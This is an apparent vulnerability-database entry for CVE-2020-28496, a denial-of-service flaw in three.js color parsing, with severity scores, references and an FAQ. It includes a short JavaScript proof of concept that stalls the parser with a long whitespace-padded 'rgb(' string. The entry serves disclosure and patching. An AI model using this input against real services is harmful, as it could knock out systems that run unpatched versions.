Resource exhaustion in Three Project
CVE-2020-28496
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
Vulnerability class: DoS (Denial of Service)
Published · last modified .
CVSS v3 metric
CVSS v3 base score 7.5 (High). Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
EPSS exploit prediction
EPSS: 0.025 (84.3th percentile), scored .
Low probability of exploitation in the next 30 days, but still tracked. 84th percentile — 84.3% of CVEs in the catalogue have a lower EPSS than this one. How to read EPSS.
EPSS over last 30 days · oldest: 0.025 · newest: 0.025 · change: 0.000
Affected products
- Three Project
- Three — versions unspecified
Weakness classification (CWE)
Public proof-of-concept exploits
References
- snyk.io/vuln/SNYK-JS-THREE-1064931 (Exploit, Third Party Advisory)
- snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 (Exploit, Third Party Advisory)
- github.com/mrdoob/three.js/issues/21132 (Exploit, Third Party Advisory, Issue Tracking)
- github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e6… (Patch, Third Party Advisory)
Frequently asked questions
- What is CVE-2020-28496?
- CVE-2020-28496 is a high-severity vulnerability in Three Project, classified under Uncontrolled Resource Consumption. CVSS score: 7.5/10. Published 2021-02-18.
- How severe is CVE-2020-28496?
- High severity. CVSS v3 base score is 7.5 out of 10.
- Is CVE-2020-28496 known to be exploited?
- 3 public proof-of-concept repositories are indexed. Not currently listed in the CISA KEV catalog.